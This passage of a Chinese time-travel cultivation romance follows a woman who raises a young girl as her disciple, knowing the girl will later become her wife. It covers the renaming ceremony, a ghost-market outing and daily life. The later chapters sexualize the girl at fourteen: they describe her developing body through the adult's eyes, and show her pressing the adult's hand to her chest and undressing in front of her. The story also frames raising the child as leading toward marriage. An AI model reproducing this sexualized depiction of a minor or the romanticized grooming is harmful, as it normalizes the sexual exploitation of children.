傅清微起身洗漱,姬湛雪跟在她屁股后面转悠,害她换衣服都得把人先支出去。 起先她并不知道姬湛雪催她的原因,直到她被拉着手进了厨房。 “锵锵,这是我煮的粥,这是炒萝卜干。”姬湛雪揭开锅盖亮相道。 “……” 这个大厨算是初步养成了。 她才六岁啊! * 工匠在前殿施工,姬湛雪在后院练剑,傅清微除了监工以外,专注研究她的结界。 那本《阵法汇总》里写了初级结界的布置方法,但不甚详细,寥寥几笔,可能是写的时候阵法造诣已超出太多,不知道怎么写新手教程。 也可能她相信以傅清微的能力,可以自己探索出来。 傅清微苦心孤诣,行也结界,坐也结界,茶饭不思,如此又过了一个月,终于小有所成。 傅清微带着姬湛雪到了一处林子里,从两棵树中间穿了过去,在她的眼前凭空消失了。 姬湛雪害怕道:“姐姐?” 片刻之后,傅清微又从两棵树中间走了出来。 姬湛雪上前紧紧地抱住她。 傅清微本来想让她自己走一遍试试,见她慌成这样,便牵着她的手走了进去。 树后不是其他,仍是一片密林。 但却不是她们原来所在的林子,而是另一个不远的地方,根本分不清方向。如果运用得好,就是无尽的鬼打墙。 虽然尚且粗浅,但对付凡人足够了。 傅清微带她从原点穿出来,道:“以后就不怕有人来咱们家了。只要他们敢进来,就会迷路,他们找不到的。” 出远门前这段时间傅清微会进行阵法改良,至少比现在效果提升数倍。 彻底解决后顾之忧。 姬湛雪爬到她的身上,亲了亲女人的脸。 * 蓬莱观正殿落成那天,九天玄女娘娘的神像和姬湛雪字体的牌匾一起送到。 玄女娘娘进驻正殿供奉,幼圆体的“蓬莱观”三个大字匾额悬挂在朱漆正门,没有落成仪式,蓬莱观的两位主人以及所有工匠热烈地鼓了鼓掌。 傅清微分了红包给工匠,众人喜笑颜开地散去了。 傅清微在正门前伫立良久,看着和后世一模一样的匾额,牵起姬湛雪的手,步入正殿给玄女娘娘上了第一炷香。 接着她从神像后搬出不知何时准备的椅子,一张四角茶几,和一杯茶,摆放在供桌侧前方,背后就是玄女娘娘端庄的神像。 “今日是你的正式拜师仪式。” 傅清微端坐在椅子上,平静地说:“跪下吧,给我磕三个响头。” 姬湛雪毫不犹豫地跪了下来,向女人磕了三个头。 在傅清微后世忽略的细节里,蓬莱观处处有另一个人的存在痕迹,书房的画像,穆若水不懂的《阵法汇总》,“左手”写的红笔更正,那个人不是别人,正是出自现世的她自己之手。 她的穿越究竟是为了什么? 假如她按照已知的历史走下去,完成这条时间线的闭环,是不是就能回到原来的时空,和师尊相见? 傅清微不知道,但这是她现今唯一的希望。 女人的目光坚定不移。 “我派祖师姓穆,拜入我门下后,你需改姓穆,为师赐你道号若水,从今往后,你叫穆若水。” 亚马逊雨林卷起一场风暴,她才是最初扇动翅膀的那只蝴蝶。 穆若水伏地长拜,抬起头来。 “若水见过师尊。” 第147章 傅清微端坐上方, 几不可查地蹙眉。 “虽然为师赐你道号若水,但私底下你还是姬湛雪,不必自称若水。” “是, 小雪见过师尊。”六岁的穆若水懵懂地接受了她的要求, 毫无怨言。 毕竟好端端的改个名, 谁都会不习惯。 若水,若水。 她想, 雪化了才是水, 雪和水只能存在一个,那她还是做小雪吧。 傅清微抬起手, 向她招了招, 温柔道:“小雪,到为师跟前来。” 穆若水一步一步走过来,在女人的示意下端起了茶盏, 两手恭敬奉上:“师尊请喝茶。” 本来她应该跪着的, 身量小跪下去更低,傅清微阻止了她下跪的动作,伸手接过温凉的茶盏, 揭开茶盖含了一口白开水。 之后将茶盏搁在一旁的凭几。 她牵起穆若水小小的手,另一只手拿了殿里的两个蒲团,来到正殿前的空地上,她率先跪在了一个蒲团之上, 面向天地郑重磕了三个头。 穆若水待她磕完,有样学样, 也跪下端端正正地磕了三个。 姐姐做什么她就做什么。 傅清微站起身来, 耀眼的阳光刺得她微微眯起眼睛,站在蓬莱观落成的前院, 百年前一切开始的地方。 她两根手指弯曲,三指并起立誓:“诸神有灵,三清在上。我,傅清微今日愿收穆若水为徒,永生永世,爱她护她,矢志不渝。如有违誓,天雷加身。” 字字沉重,掷地有声。 天际的白云里隐隐掠过一丝流线般的光亮,誓约即成,再无反悔。 傅清微转过来面对着地上的穆若水,认真肃穆,穆若水呆呆地看着她。 …… 拜完师以后,二人的相处并没有本质的改变。 穆若水被她牵着从蒲团起来,弯腰拍了拍她身上的灰,穆若水仰头天真地问她:“姐姐,我可不可以跟你姓傅?” 傅清微幽了一默:“幸福可以,姓傅就不必了。” 穆若水:“我为什么要姓穆呀?” 傅清微柔声:“因为我喜欢姓穆的。” 穆若水低下头,似乎被她说服了。 她抬起头又问:“那为什么你不改姓穆呢?” 傅清微笑:“因为我不想和姓穆的当姐妹。”只想她做妻子。 穆若水六岁的小脑袋瓜怎么斗得过二十三岁的狡猾大人,她咬着唇支吾半天,最后还是接受了只有自己姓穆。 “我姓穆你就会喜欢我吗?” “小傻瓜,你不姓穆我也喜欢你呀。” “那你更喜欢哪一个呀?” “唔……” 两人牵着手向后院走去,声音渐渐被隔在院墙里,听不清了。 * 蓬莱观落成以后,傅清微就将度牒的事提上日程,她告知郝道长以后,天机阁派了一名后勤专员和县署的官员来实地考察,还有青羊宫代表,如今世道乱,峨眉和青城等地的道长不好奔波,由青羊宫全权代表道门的意思。 青羊宫,老熟人了,郝道长的辈分不低,在师门说得上话。 按部就班地走了个过场后,蓬莱观开宗立派的事就这么大功告成了。 天机阁的人表示:度牒由官署制作,等一两个月就能拿到了,完工后会暂存天地钱庄郝道长处,去取便是。 傅清微牵着小孩:“那我这位徒儿……” 后勤专员:“姬道友请放心,肯定是两份度牒,穆小友也会有的。” 傅清微感叹:“你们办事还是这么贴心。” 后勤专员:“?” “没什么。”傅清微清朗道,“愿蓬莱和天机阁天长地久,友谊长存。” 后勤专员笑了笑:“有姬道友,不,有观主这句话,我等深表荣幸。” 傅清微送别了天机阁等人,回去继续研习她的结界,还有最要紧的,督促穆若水的功课。 习武傅清微半点不担心,学文让傅清微一个头两个大。 穆若水的字认得不少了,按理说可以开始读道经了,她确实在读经书,但是在梦里读的。 清风掀动桌上的书页,轻柔地拍打在孩童稚嫩的脸上。 傅清微走进卧室兼书房,书本平摊在桌面,小穆若水的脸枕着一侧书页,呼呼大睡,可疑的液体在字迹上晕开墨色。 “……” 傅清微俯身到她耳边,幽幽道:“吃饭了。” 穆若水一个弹身坐起,脑袋差点撞到傅清微的下巴,跳下凳子说:“我去做饭!” 傅清微随手将她飞奔出去的背影拎回来按住坐好,道:“吃什么饭?才巳时。” 穆若水可怜巴巴:“师尊,我饿了。” 傅清微淡道:“我看你是想偷懒了。” 穆若水两手挂在她脖子撒娇,她现在个子小还挂得住,傅清微站起来,她就跟树袋熊似的紧紧贴着。 一人一小熊到了阳光明媚的院子里。 傅清微说:“背一页书,奖励你练一刻钟的剑。你可以先练了再去读书,醒醒脑子。” 穆小熊却不肯从她身上下来。 傅清微:“怎么了?” 穆若水小声:“师尊近日在忙自己的事,都不花时间陪我。” 傅清微怜惜地抱了她一会儿。 “那你背一页书,我陪你一刻钟,这样可好?” “好!”童音清脆。 穆若水跳下来,剑也不练了,直奔书房。 傅清微愣在原地,眉梢不可思议地轻挑,清淡一笑。 原来自己比练剑的魅力还大吗? 穆若水读书,傅清微在旁边陪读。不大的书桌分成两半,穆若水摇头晃脑地念经,书声琅琅,傅清微偶尔跟着她温习经文,偶尔铺开纸张自学画画。 不消说西王母的神像需要具象化的图纸,她要画给后世的自己那本剑谱,还没有着落。想逼着读书都费劲的小师尊学画画,不异于要她的命。 而且她和师尊分开没有留下任何照片,她想学会画画以后,能够将女人画出来。 初学画画,都是从身边人画起,扭头便有现成的模特。 傅清微画了她打哈欠,困得流眼泪的样子。 书本掉落,一头栽进去睡得人事不省的样子。 读着读着干脆趴在胳膊睡觉,口水流到袖子上。 即使有傅清微贴心的陪伴,她也不能坚持读到第三刻钟。 好在她的聪慧弥补了读书犯困的不足,即便如此,也好好地背下了部分经文。 有时阳光和温度好,傅清微会带她去自家林子野营,女人靠在树干上,她枕着傅清微的肩膀,小小一只都在师尊怀里。 傅清微一只手环着她,另一只手执卷给她念《太上元始天尊说北帝伏魔神咒妙经》。 “道言:昔于龙汉元年甲午之岁,元始天尊居上元之殿……” 穆若水睁着眼,一眨不眨地看着她温柔白皙的侧脸。 阳光自树叶缝隙间撒落,发梢染成金色,她伸出指尖悄悄握了一截在手里。 “为师刚才念了什么?” “元始天尊居上元之殿、八景天都,安五云宝座,垂十绝灵幡……”穆若水滔滔不绝地往下背,一字不差,童声软糯,字正腔圆。 “嗯?今日怎么背得这么快?” “喜欢听师尊给我念书,不喜欢自己看。” “……” 傅清微:“好娇气的小孩。” “继续念嘛。” “那我念了你不许睡觉。” “不睡。”穆若水点头许诺。 此经共三万四千字,一句不停地念完需三个多小时,她们二人野营刚吃过午饭,正是犯困的时候,傅清微读了十几页书,上下眼皮开始打架。 握在手上的书卷慢慢跌落在腿上,傅清微靠着树干睡了过去,睡意清浅柔和。 怀里的小孩果然没有睡着,小小的手爬上女人柔软光滑的脸颊,沿着她侧脸线条走着。 傅清微早就习惯了她的不老实,一点醒过来的意思都没有。 穆若水年岁太小,只有仰慕,不到情根萌芽的时候。 只是莫名觉得师尊执卷给她念经的样子,好漂亮。 * 穆若水由俭入奢易,再也不爱自己看书了,每日都要傅清微给她念。 还不能在光线暗的地方,最好阳光好,能映着她的脸。 傅清微哪知道她是贪图美色,以为她爱护自己眼睛呢,她一向对穆若水纵容,不厌其烦。 树林分叉的阳光,窗前的细雨微风,山里的无声岁月,都见证了傅清微抱着穆若水给她念书的身影。 …… 时间一晃到了鬼市开启的日子。 傅清微白天去天地钱庄拿到了自己师徒二人的度牒,归还了一直被扣留的管锥度牒。 晚上便进了鬼市。 鬼市的入口就在提督街,一道不起眼的后院窄门,红对联,门口站着两个脸戴牛头面具的人,阴气重重,乍一看跟鬼门关似的。 如果有不小心目睹的百姓,恐怕也会当成见鬼吓得扭头就跑。 幽深的小巷尽头走来一大一小两个身影,都穿着斗篷,女人戴着悟空面具,小孩戴着八戒面具,和牛头面具交涉了几句,步入门后,犹如融入水中,消失在涟漪之后。 这二人正是傅清微和穆若水。 鬼市鱼龙混杂,绝大多数都以面具示人,不暴露真容。二人进入结界后,又走了一段路,面前豁然开朗。 古有桃花源记,今傅清微怀疑她们入了忘川。 鬼市里没有阳光,只有红色的光,一条分不清是黑色还是红色的河流壮观地经过,占据了一半的视野。河流之上有一座巨大的画舫,一面大旗:三才舫。 根本不用傅清微去找,自动送到她的眼前。 岸边有十数条小舟通往三才舫,也有从三才舫出来的。 傅清微没急着去卖蛇妖内丹,第一次来,总要在鬼市逛一逛,就算她不感兴趣,孩子已经张望好一会儿了。 何况傅清微也是个好奇心旺盛的年轻人。 出门前傅清微特意多带了些钱,当即牵着穆若水四处闲逛。 鬼市和人间的街道差不多,也有专人管理,沿街排布,然而客人就与凡间大不相同,体验感十分新鲜。 穆若水抬手:“姐姐,你看她长了……” 傅清微蹲下来轻轻地捂住穆若水的嘴。 那个头上长角的女妖修看过来,她没戴面具,面容姣好,冲师徒俩点头笑了笑。 傅清微回以点头,即使看不到,也努力释放出紧张的善意。 女妖修一手背后,昂首挺胸,和路边的师徒俩擦身而过。 傅清微松了口气,温和教导说:“不能在里面乱说话,不能评价别人,知道吗?” 即使鬼市禁止斗殴,万一惹到脾气爆的,在秩序者到来以前,就把她俩弄死在这。鬼市到处是修行者,不乏其他种族,傅清微不认为自己现在的实力能在这排得上号。 穆若水点了点头,自己说:“嘘。” “但可以说别的。” 傅清微干脆将她抱起来,说:“你想吃什么?” 穆若水只要在她怀里就特别开心,左顾右盼道:“都想吃!” “那就都买。” 穆若水继承了傅清微节俭的习惯,说着都想吃只是挑挑拣拣了几样,重新被傅清微牵在身边走。 傅清微货比三家,买到了凡间不常见的阵法材料,其他的没有买,先摸清底细,以后有的是机会来。 穆若水停在一个书摊前,脚下生根。 傅清微牵了一下小手没牵动,扭头见她竟然盯着书摊,诧异不已。 小师尊转性了? 仔细一看,她是盯着书上面放着的连环画,写着《白蛇传》。 傅清微:“……老板,这个怎么卖?” 摊主是个修者,说:“我这是从沪城进货来的,锦城现在独我一家,多的不说,一块银元。” “一块银元!你怎么不去抢?!” 傅清微拽过穆若水的手,气道:“我们走!” 穆若水乖乖走了。 小孩子心思浅,她再在街上走的时候低着头,零食也不吃了,闷闷不乐。 傅清微:“……你是不是很想要那个?” 穆若水摇头:“太贵了。” 傅清微这下必须给她拿下! 她牵着穆若水回到书摊,唇枪舌剑,说没多久连环画就会到处都是,卖不上价,最终以三角大洋成交。 穆若水抱着新到手的连环画露出一个浅浅的笑容。 千金难买穆若水一笑。 傅清微:“你竟然会笑了?” 不是因为她,就因为个破连环画? 穆若水歪了歪脑袋,说:“喜欢姐姐讨价还价的样子。” “你是喜欢看我和人吵架吧?” 穆若水又浅浅地抿了一下嘴,眼尾微弯。 也算是因为她笑了吧。 傅清微这么想道。 即使她不将面前的小师尊视为她结过契的恋人,也无可避免地对她的一切充满了占有欲。她们拥有着同一个灵魂,同样的容貌。 穆若水把连环画收进怀里:“我会好好珍惜姐姐的吵架。” “应该叫师尊。” “师尊。”没过两秒她又甜甜改口,“姐姐。” “……”女人只好由她去,偏开脸忍不住一笑。 过会,她又漫无边际地想:师尊有朝一日要是记起来这些,会不会无地自容? 傅清微二人来到岸边,付钱搭了一艘摆渡船,前往三才舫。 上了船便有专人接待,傅清微报的是“真名”姬湛雪,三才舫的人让她稍等,过后一个管事模样的人将她领进去,到了一处柜台。 傅清微看向管事身后墙壁密密麻麻的实木格子,从袖子里掏出那颗碧绿妖丹。 管事凑近光线掌了眼,说:“好东西,道友想卖什么价?” 傅清微相信天机阁:“不清楚行情,您报一个吧,合适以后我再来。” 管事沉吟,正要报价,旁边的伙计拿过来一个纹路精致的木盒,打开给管事确认,管事扫了眼,让他放进某一间木格。 傅清微突然打断:“等等。” 管事和伙计的动作都顿住。 傅清微上身趴在了柜台上,几乎是急着说出来:“盒内可是返魂香?” 是师尊的气息,她绝不会闻错! 管事暂时将木盒按下,道了声:“道友真是慧眼。” 傅清微连忙道:“我可以不要钱,能不能用妖丹交换返魂香?” 管事迟疑:“这个……” 返魂香稀有,论罕见程度肯定比妖丹珍贵。但这玩意儿没什么人买,所谓起死回生的禁术多半是谣传,而且条件苛刻,单拎出来就是比较奇特的香料。 那颗五百年的上等妖丹可是妖修抢着要,买进就能高价脱手。 傅清微:“我与悬赏堂郝道长是至交好友,请结个善缘。” 管事自然知道她的真实身份,否则也不会亲自接待。 管事将装着返魂香的木盒推过来,笑道:“好吧,三才舫愿与观主结善缘。” 傅清微看着他把妖丹收走,紧紧握住了木盒,说:“谢谢,谢谢。” 管事见她激动如此,趁机道:“观主可还要返魂香,若是三才舫再收到,可以为观主留着。” 傅清微不确定自己到时有没有钱,先应下来:“有劳管事。我常与郝道长会面,有事可让郝道长转达。” 写好了单据,管事将傅清微送出来,笑吟吟的:“观主慢走。” 傅清微攥着怀里的木盒,天明离开鬼市出城,一直到回蓬莱观都魂不守舍的。 两人一夜没睡,白天在卧室补觉。 穆若水睡着睡着突然醒了过来,抱着她的体温不见了,床榻冰凉。 她扭头往书桌边的身影望去,看到傅清微对着那个打开的盒子在哭,眼泪断线无声。 穆若水眼皮打架,迷迷糊糊地又睡了过去。 不确定自己迷蒙之间看到的是不是错觉。 傅清微擦掉了泪水,将木盒妥帖地收好,回到了床榻,将小人的身子搂过来,脸埋进穆若水幼小的肩膀。 小孩脖子被她冰凉的脸贴得醒了一秒,含糊地问:“师尊,你是不是哭了?” 傅清微回了声低哑的没有。 小孩没有回应,早已见了周公。 这一年的冬天来得过早,十一月就寒风呼啸,两人杜绝了出远门挣钱的心思,安心窝在道观猫冬。 平时练练功,念念经,偶尔在山周围的村寨转一转,巩固玄女娘娘座下弟子的传说。 十二月二人从锦城采买回来,途径村落,穆若水叫停了骡车,从野草枯黄的土墙边抱了一只脏兮兮的大耗子回来。 傅清微定睛一看,哪是什么耗子,是一只冻得眼都睁不开的小猫。 穆若水请示她的意思:“师尊?” 傅清微盯着那只小三花,耳边只有命运的回响。 “带它回山上吧。” 这样冷的天,过不了几天它就会冻死荒野。 它脏兮兮的毛发和土墙融为一体,傅清微一时没瞧见,穆若水倒眼尖看到了,是命中的缘分。 穆若水将小三花带回了蓬莱观,热了米汤给它喝。 傅清微水煮了一块刚买的鸡胸。 这里没有暖气,烧着火的灶台最暖和,它就老在旁边窝着,原来灰扑扑的毛发都舔干净了不少。 两人蹲在边上看它舔毛,商量给小三花起名。 傅清微说:“叫闪闪怎么样?” 穆若水说:“不要,好幼稚。” “你以前很喜欢闪闪。” “那都是小时候的事了。” 傅清微:“……” 人甚至不能共情一年前的自己,小朋友更是。 傅清微:“闪闪?” 小三花:“喵~” 傅清微眉开眼笑:“它答应了。” 穆若水只好接受闪闪这个叠词永远跟随她的生命。 闪闪没有现代的小三花粘人,是一只介于狸花女王和三花间的猫,熬过了冬天以后,它就学会自己觅食了。屋里也有它的一口饭,哪儿都能吃。 正好二人要随时出远门,它在家也能照顾好自己。 道观前的山路传来两道脚步声。 “闪闪!” 丛林里出现一道彩色的闪电,飞快地从远处奔跑过来,后腿弹跳,一个起跃落进了少女的怀抱。 十三四岁的少女一把将小猫搂进怀里,背后的长剑跟着她抱猫的动作晃了晃。 她身边青袍广袖的女人纳闷道:“我也不是没照顾它,怎么每次都往你怀里扑。” 穆若水道:“师尊光风霁月,闪闪不敢玷污半分。” 傅清微嗔道:“你就敢。” 从四岁到十四岁,没有一天不黏在她身上的。 穆若水一边笑着说“徒儿不肖”,一边将猫放下拿出信物开结界。 闪闪第一个越过门槛跳了进去,回到久违的家。它按年龄在猫届已步入老年,但是跟在二位修道者身边,清气入体,虽然不至于成精,但延年益寿,身子骨依然硬朗,活泼得像小猫。 傅清微今年三十一岁,外表维持在二十五六岁的样子,眉眼的青涩早已荡然无存,初显成熟风情。 她身无长物,青衫落拓,广袖后甩,轻快踏入门内。 跟在她后面的挺拔身影却贴了上来,紧紧地抱住了她的腰。 “师尊,今晚让我跟你睡好不好?” 第148章 少女的身体从后紧紧贴着她, 若有若无的馨香传来。 傅清微低头轻轻拿开她环在自己腰间的手,穆若水转到正面,两手圈在她后腰。 “好不好嘛~” 十四岁的穆若水身高刚到她的鼻尖, 眉眼出落得极美, 乌发下不加修饰的野生眉已是远黛山青, 瞳仁幽黑,比幼时的沉淀少了些, 反而愈发清润有光。 唇瓣浅薄, 自然的樱粉色。 最重要的是,她和师尊长得越来越像了。 这是师尊烂漫天真、不为人知的少女时代, 傅清微曾经想要见到, 如今日日陪伴她,心绪却复杂难言。 她花了几秒钟收拾自己心脏漫上来的酸楚,尽量平静温和道:“前段时间不是刚一起睡过吗?” 穆若水八岁那年, 蓬莱观修好了后院剩下的房间, 傅清微要求穆若水和她分房睡。 穆若水哭了好几天,见到她就眼泪汪汪,傅清微只好她允许她以功课进步、剑术精进、厨艺大涨等等理由, 隔三差五地抱着枕头进屋,仍然一起睡。 如此过了四年,穆若水十二岁,来了葵水, 无论如何傅清微都不能再依着她耍赖,强行分开住。 穆若水长了年纪, 也没那么爱哭, 再说哭起来怪丢脸。此计既已不通,她便走上了撒娇的路, 一去不复返。 屡试屡胜。 但要注意频率,太频繁也会有失效的时候。 穆若水将脸枕着她的肩膀,道:“那是在外面客栈,还分了两床被子。现在到家了,我想和师尊一起睡。就今晚,好不好?师尊~” 清脆的撒娇少女音在耳边响起,热气一同拂过她的耳畔。 “你都好久没有抱我了,你是不是不喜欢小雪了?” 小雪。 是,她是小雪。 她是自己亲手养大的孩子。 傅清微恍惚了一瞬的神智蓦地恢复清明,伸手环住了少女纤薄的背脊,说:“仅此一次,下不为例。” “好。”反正还有下次。 穆若水抬起下巴,轻轻地亲了一下女人的侧脸。 长大以后,傅清微也拒绝她再随便亲她,穆若水不知道为什么,但晓得她不情愿,所以亲完立刻跑掉了。 “我去做饭!” 她的身影飞也似的钻进了厨房。 背上的长剑没有解,跑得太快剑柄被门框绊了一下,差点儿挂回来。 傅清微轻笑了一声,抬手触上脸颊的香气留存,唇角的笑意一点点隐去。 两人回来得早,还来得及吃中饭,穆若水的厨艺突飞猛进,傅清微从两年前就吃上了师尊口味的饭菜。 这次又是暌违几月回家,第一口下去,傅清微总要停顿一会儿,才会接着动筷子。 穆若水在边上托着下巴,等她吃第二口再动筷。 午后二人各自回房小憩,下午待在书房,穆若水在书架上随便翻书,傅清微在桌前作画。 穆若水这回忘记买闲书,百无聊赖地搬了椅子,坐在旁边两手托腮,看着她提笔慢慢勾勒出一个女人的背影。 单手后背,墨发过腰,宽大的袖袍被风吹起来。 画中人无情,画外人有情。 傅清微画的是当日穆若水从灵管局离开的背影。 深深印在她的脑海,没有一刻忘怀。 即使那已经是十年前的事了。 穆若水走到她身边,摆正了视线,好奇地问:“这是谁?” 傅清微含泪地笑了笑:“她是我的道侣。” “道侣是什么意思?” “就是妻子。” 穆若水很小很小的时候,听她说过,她和她的妻子分开了。 “这么久了,你还在想她吗?” “我没有一日不在思念她。” 穆若水伸手擦掉她睫毛安静掉下来的泪水,说:“她一定也在思念你。” 傅清微一下午都待在书房,穆若水在林子里的结界练剑,练了一遍又一遍,才勉强将自己心里隐隐的不畅快发泄出去。 傅清微刚学画画的时候,画的全是姬湛雪,她画技渐渐进步,开始夹杂着画一个女人。 画那个女人的时候越来越多。 原来是师尊的妻子。 穆若水早就知道她成过亲,有心爱的人,可是此事仿佛被经年岁月遗忘,直到今日才重新浮上她的心头。 ——为什么不去找她呢? ——因为她已经不在这个世界上了。 回想起书房里的对话,穆若水在那一刻察觉自己竟然有种阴暗的庆幸,借口匆匆逃离了书房,来到树林。 师尊的妻子不在了,所以她现在身边只有她了,将来也只会有她。 穆若水坐在结界的出口,把这段话来来回回地想了很多次,直到将庆幸变成惋惜和伤感。 师尊的妻子,就是她的师娘。 她不能为了悲剧庆祝,应该为她们的天人永隔感到伤心难过,并且加倍对师尊好。 嗯,晚上加个菜叭。 穆若水出了结界,顺手打了只野味回去,做了顿丰盛的晚餐。 傅清微这么多年想起师尊还是一样脆弱,好在她早已学会不沉溺在情绪里,吃饭的时候大夸特夸了穆若水的厨艺。 师徒俩都很高兴。 截止晚上睡前。 有人欢喜有人忧。 傅清微刚掀开被子躺下,一具温热的少女躯体立刻朝她抱了过来,还是小时候树袋熊的抱法。她现在抽条了,身量差得不多,一个人就能将傅清微手脚全都缠住。 傅清微满鼻翼都是少女身上诱人的馨香,无孔不入。 倒不是她对十几岁的孩子有想法,而是穆若水已经开始发育了,孤女寡女抱在一起同床共枕,终究不妥。 她是有家室的人。 穆若水青涩的果实抵着她的胳膊,傅清微勉强将右手抽了出来,其他的肢体是再也动弹不得了。 “姐姐。”尾音上扬,清甜愉快的少女音钻入她的耳膜。 傅清微闭眼,只想当一具无知无觉的尸体。 “你陪我说说话嘛。” “你想说什么?”傅清微一动不动。 穆若水稍微将她放开一些,仰头看着她莹润的下巴,缓缓凑近。 傅清微察觉到她呼在自己脸颊的温热气息,连忙睁眼用手挡了一下,制止道:“不是说过不准亲我。” “谁让你不理我嘛。”穆若水从容地找好了借口。 “注意你说话的语气。” “你对我好生疏,小时候还不是这样的。” 她一装可怜傅清微就没办法,毕竟是她先理亏。傅清微将她架上来的脚先挪开,保持正常喘息的空间,方平和道:“你是个大人了,不能像小时候一样。” “我明明还不是大人。”再说不管多少岁她都要黏着她。 “再过一年都能及笄了。”傅清微故作愉快语气。 “但是我离大人还差得远呢。” “哪里?” “这里。” 傅清微的手被抓着按在了穆若水的胸前。 她没有一点点防备,等反应过来已经被带着按了按。 穆若水:“好小,是不是?” 傅清微满脑子乱码,警报乱响,程序失去处理能力:“你……” 她们俩朝夕相处,傅清微一手把她带大,只有彼此。生理健康课也是她上的,穆若水对她没有任何避讳,就这么水灵灵地牵着她的手摸了好几圈。 傅清微僵硬的指节微弯,将自己的掌心挣脱了出来。 “以后会长大的。”她仿佛发梦,自己也不知道在说什么。 “多久以后?” “快了。” “会比姐姐大吗?” “会的。” “你怎么知道?” “……不要再讨论这个话题了。”傅清微耳尖漫过一层血红。 “哦。”穆若水低头,定格在女人饱满的起伏,跃跃欲试地说,“我能不能摸一下?” “不行!” 傅清微拉过被子盖住她的脑袋,说:“睡觉!” 穆若水听话了又没完全听话,打消了摸摸的念头,但是手脚立刻又缠得密不透风,脸也埋进她如玉的颈窝里,不老实地蹭来蹭去,仿佛吸了猫薄荷。 傅清微愈发坚定了分房睡的念头,明天天一亮就把她赶回屋,下次怎么撒娇也不给进门! 穆若水许是常年只和她在一起,情爱之事开窍甚晚,凡间的女子豆蔻年华怎么也知道授受不亲。她本就情根生长缓慢,如此一来行事更是张狂无忌,一味贴贴。 现在她十四岁傅清微可以无动于衷,等到她二十岁,和成年体师尊相差无几,傅清微还能抵挡得住吗? 在此之前,她一定要改了她这个毛病。 傅清微捏着后脖颈将怀里乱蹭的脑袋拎出来,沉声道:“再这样你就回自己房间睡。” “徒儿不敢了。” 穆若水察言观色,装乖道。 “……” 傅清微叹了一口气:“睡觉吧,晚安。” “晚安。” 傅清微率先闭上眼睛,许久之后,她半梦半醒间,感觉柔软的触感又印在了她的脸颊。 枕边方响起第二个人满足的呼吸声。 月光洒落在床沿,傅清微的脑袋偏了偏,沉沉睡去。 * 穆若水上午去书房读书,见到那幅画挂在了左手边的书架前方,她站在画前看了一会儿,躬身拜了拜已故的师娘。 从此这幅画一直留在书房里。 有时她打扫书架,还会顺便清理画上的灰,让她干干净净的。 纸张会泛黄易脆,这幅画却始终整洁如新,因为傅清微隔段时间便会画一幅新的替换上去,越来越传神。 若干年后,穆若水在终于懂了情爱的年纪再去看,只看到越来越厚重的情意,山海不可攀。 当下她仍是十四岁,懵懵懂懂地看了画,有些吃味,有些难过,更多的是伤感。 穆若水从密林练完剑回来,傅清微双手背后立在门口,挺拔如青竹。 “为师检验一下你最近的修行成果。” 穆若水立刻如临大敌。 “师尊不要。” “不要也得要。”傅清微笑着说,“半个时辰内出不来,我就会进厨房。” “……” “来,试着攻击我。”傅清微温柔的语调如同蛊惑的海妖。 穆若水硬着头皮握向身后的相思剑柄。 “不要畏难,你总是怕,如何战胜我。”傅清微轻轻偏了一点头,说,“嗯?已经握好剑了啊,那就开始了哦。” 穆若水余光只看到傅清微袖口里飞出两道金光,她握着剑柄的手一紧,仰头看着流光化作两头异兽朝她扑了过来,就地往边上打了个滚,其中一头异兽未卜先知地出现在她身后,一爪按住了她的肩膀。 傅清微:“不用怕伤到她,用点劲。” 穆若水肩膀的力道陡然一沉,相思剑也被牢牢按在身下动弹不得。 少女闷哼一声。 早年傅清微只会用幻阵,如今十年过去,修为大涨,真作假时假亦真,如果阵中人还以为身在幻象,只会被撕成碎片,尸骨无存。 她将相思剑给了穆若水,是因为如今已不大用得到剑了。 傅清微拍了拍袖子:“让阿金和阿银陪你练练手,为师去小憩片刻。” 穆若水在她身后大声控诉:“我讨厌阵法!!!” 回应她的是一声女人悦耳的轻笑。 傅清微的身影消失在门内,徒留她和两头杀不死的异兽在门口胶着,寸步不得入。 金银两头异兽以颜色作区分,一个擅长火系,一个擅长木系,穆若水好不容易从阿金的爪下逃生,脚下的藤蔓如同春风催发,眨眼间绿意漫山遍野,金色异兽张口喷出一道烈焰,木生火,穆若水的眼前瞬间变成了一片燃烧的火海。 情急之下穆若水甩出一道土系符箓,让土墙截住了火势,暂时不蔓延过来。 炙烤的温度使得她汗如雨下。 在阵法里,异兽是杀不死的,她需要找到结界的突破口。 穆若水背靠着土墙,看向结伴合作的金银二兽再度朝她飞奔过来,手里的长剑亮起白芒。 她讨厌阵法!!! 道观内。 傅清微算着时间悠悠醒转,在院子里的水缸舀了水净手,转身迈步,正要进厨房大显身手。 后院的木门轻轻地推开了。 灰头土脸的穆若水走了进来,头发凌乱,小脸熏得黢黑,活像刚挖完煤,衣角也被燎坏了一块,她紧紧地盯着傅清微的脚步,说:“你不准进去!” 傅清微望了眼厨房近在咫尺的门,扼腕叹息。 女人道:“我不进去,要不你先洗个澡?” 穆若水:“我自己烧水。” 傅清微:“我烧好了,你放心别的没动。” 穆若水进了厨房,果然只有一锅烧好的热水,其他的没被祸祸,舒了口气。 幸好她来得及时。 傅清微倚在门口,不吝夸奖说:“只花了半个时辰,比上次进步多了。” 穆若水默默从怀里掏出两张小纸人还给她,傅清微藏进袖子里收好。 就这么两个薄薄的小纸片,困住她半个时辰,真正和师尊较量时,她恐怕永远摸不到她的一片衣角。 然而穆若水并没有要赶超师尊的念头,她希望她永远强大,遥不可及,却会主动向她投来注视的目光,温柔地抚摸她的脸。 就像现在这样。 “小花猫,怎么弄得这样脏?”傅清微指腹轻轻抹掉她鼻尖的灰,声音和她的动作一样轻柔。 “我讨厌阵法。”穆若水小声咕哝,悄悄抬起眼睫,看她因为自己的话愉悦弯起来的眉眼。 其实她有一点点是故意弄成这样的。 只有一点点。 “走,带你去洗澡。” 从前当然不会有现代的淋浴条件,一次性烧的水只够装木盆,穆若水在里面擦澡,傅清微在窗边和她说话。 “家里的后山有个温泉,我打算请工匠挖出来,修个温泉池。到时候你泡池也方便。” “师尊不泡吗?” “我……自然也是泡的,想着你会更喜欢。” “师尊决定就好。” “……嗯。”傅清微想:一定要分开泡温泉。 “师尊,你进来一下。”穆若水的声音低了低。 “你穿好衣服了吗?” “穿好了。” 傅清微便放心地推门进去了,少女的身影侧对着她,已初见窈窕,微微隆起的地方包裹在鸳鸯戏水的肚兜里。 傅清微镇定道:“你怎么只穿着亵衣就让我进来?” 穆若水转了过来,当着她的面解开了肚兜的系带,唯一的遮掩剥落。 “师尊,你看我是不是长大了一点?” “……” 问话的人暗含惊喜,答话的人惊吓到失语。 